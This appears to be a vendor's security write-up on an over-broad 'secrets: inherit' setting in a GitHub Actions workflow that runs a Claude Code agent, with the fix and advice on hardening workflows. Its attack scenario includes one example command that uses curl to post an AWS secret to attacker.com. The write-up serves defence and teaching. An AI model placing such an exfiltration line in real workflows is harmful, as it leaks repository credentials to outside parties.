Introduction
In the richkuo/rk-skills repository, a high-severity security finding was discovered at line 300 of templates/claude-workflow/workflows/claude.yml. The workflow orchestrates an AI-powered Claude Code agent by calling a reusable workflow (claude-run.yml) twice—once for a "review" job and once for an "implementation" job. Both calls used secrets: inherit, handing the called workflow access to every secret in the repository, when it only ever reads CLAUDE_CODE_OAUTH_TOKEN.
This matters because claude-run.yml is designed to be consumed by downstream repositories via:
uses: richkuo/rk-skills/.github/workflows/claude-run.yml@main
Any consumer following the template's example would inadvertently expose all of their secrets to this centrally-maintained workflow. If the reusable workflow were compromised—through a malicious commit, a supply-chain attack, or even a misconfigured step—an attacker would gain access to every secret the calling repository holds: deployment keys, API tokens, cloud credentials, and more.
The Vulnerability Explained
What the code looked like
In .github/workflows/claude.yml, two jobs called the reusable workflow like this:
# Line ~296 — review job
jobs:
review:
uses: ./.github/workflows/claude-run.yml
with:
flow: ''
model_id: ${{ needs.classify.outputs.model_id }}
effort: ${{ needs.classify.outputs.effort }}
secrets: inherit # ← ALL secrets passed
# Line ~316 — implementation job
implement:
uses: ./.github/workflows/claude-run.yml
with:
flow: ${{ needs.classify.outputs.flow }}
model_id: ${{ needs.classify.outputs.model_id }}
effort: ${{ needs.classify.outputs.effort }}
secrets: inherit # ← ALL secrets passed
Why this is dangerous
The secrets: inherit keyword is a convenience mechanism—it blindly forwards the entire secrets context. The called workflow, claude-run.yml, only uses CLAUDE_CODE_OAUTH_TOKEN for agent authentication. Yet with inherit, it also receives:
GITHUB_TOKEN(if stored as a repo secret)- Any deployment credentials (AWS keys, Docker Hub tokens, etc.)
- Signing keys, NPM tokens, or other publishing secrets
- Any third-party API keys stored in the repository
Attack scenario
- Compromised dependency: A malicious actor contributes a seemingly benign PR to
rk-skillsthat modifiesclaude-run.ymlto exfiltratesecrets.*values (e.g.,curl -X POST https://attacker.com/collect -d "${{ secrets.AWS_SECRET_KEY }}"). - Consumer repo triggers the workflow: Any downstream repository that calls this reusable workflow with
secrets: inheritnow leaks all its secrets to the attacker. - Lateral movement: With cloud credentials or deployment keys, the attacker pivots to production infrastructure.
Because this is a template repository (a Node.js library whose templates are consumed by other repos), the blast radius multiplies across every consumer.
The Fix
The fix spans three files, each serving a specific purpose:
1. claude-run.yml — Declare required secrets explicitly
The reusable workflow now formally declares which secrets it expects:
# .github/workflows/claude-run.yml
on:
workflow_call:
inputs:
# ... existing inputs ...
secrets:
CLAUDE_CODE_OAUTH_TOKEN:
description: 'Claude Code OAuth token for agent authentication'
required: true
This makes the contract explicit: callers must pass CLAUDE_CODE_OAUTH_TOKEN and nothing else is expected.
2. claude.yml — Pass only the needed secret
Before:
secrets: inherit
After:
secrets:
CLAUDE_CODE_OAUTH_TOKEN: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }}
This change appears in both the review job (line ~299) and the implement job (line ~319). The workflow now passes exactly one secret—the OAuth token the agent needs to authenticate.
3. Documentation update in claude-run.yml header
The file's header comment was updated to guide consumers:
# passing CLAUDE_CODE_OAUTH_TOKEN explicitly under secrets: — the only secret
# this workflow consumes, so callers need not (and should not) use
# secrets: inherit.
This ensures future maintainers and consumers understand the design intent without needing to read the full workflow.
Why each change matters
| File | Purpose |
|---|---|
claude-run.yml (secrets declaration) |
Enforces a typed contract — callers get a validation error if they forget the token |
claude.yml (explicit secrets map) |
Reduces the secret surface from "all" to exactly one |
claude-run.yml (comment) |
Documents the security rationale for future contributors |
Prevention & Best Practices
1. Never use secrets: inherit with third-party or shared workflows
Even for internal workflows, treat secrets: inherit as a code smell. It makes the security posture invisible—you can't tell what secrets are actually used without reading the called workflow's source.
2. Declare secrets in reusable workflows
Always add a secrets: block to your workflow_call trigger:
on:
workflow_call:
secrets:
DEPLOY_KEY:
required: true
NPM_TOKEN:
required: false
This creates a self-documenting interface and enables GitHub to surface errors when secrets are missing.
3. Pin reusable workflows to SHAs
While not the focus of this fix, pinning to a commit SHA (uses: org/repo/.github/workflows/wf.yml@abc123) prevents supply-chain attacks from new commits:
uses: richkuo/rk-skills/.github/workflows/claude-run.yml@a1b2c3d
4. Use static analysis in CI
Add Semgrep or similar SAST tools to catch secrets: inherit patterns before they reach production:
- uses: returntocorp/semgrep-action@v1
with:
config: p/github-actions
5. Audit existing workflows
Search your organization for secrets: inherit:
grep -r "secrets: inherit" .github/workflows/
Replace every instance with explicit secret maps.
Key Takeaways
secrets: inheritat line 300 ofclaude.ymlexposed every repository secret toclaude-run.yml, which only needsCLAUDE_CODE_OAUTH_TOKEN.- Template repositories amplify risk: because
rk-skillsis consumed by downstream repos, the insecure pattern would propagate to every consumer. - Declaring
secrets:inworkflow_callcreates a typed contract that prevents accidental over-sharing and documents the workflow's requirements. - The fix is backward-compatible: callers simply switch from
secrets: inheritto an explicit map—no functional behavior changes. - Static analysis (Semgrep rule
yaml.github-actions.security.secrets-inherit.secrets-inherit) caught this automatically, proving that CI-integrated SAST is effective for workflow security.
How Orbis AppSec Detected This
- Source: Repository secrets context (
secrets.*) containing all secrets configured for the repository. - Sink:
secrets: inheritdirective at line 300 oftemplates/claude-workflow/workflows/claude.yml, forwarding the full secrets context to the reusable workflowclaude-run.yml. - Missing control: No explicit secret enumeration—the workflow lacked a
secrets:map that would restrict which secrets flow to the called workflow. - CWE: CWE-250 (Execution with Unnecessary Privileges).
- Fix: Replaced
secrets: inheritwithsecrets: { CLAUDE_CODE_OAUTH_TOKEN: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }} }and added a formalsecrets:declaration to the reusable workflow.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The secrets: inherit shortcut is deceptively dangerous. In this case, a Claude Code agent workflow only needed a single OAuth token, yet every secret in the repository—and potentially in every downstream consumer—was being handed to the reusable workflow. The fix is simple: declare what you need, pass what you need, nothing more. For template repositories especially, this discipline is critical because insecure patterns propagate to every consumer. Adopt explicit secret passing, pin your workflow references, and let static analysis tools enforce these policies automatically.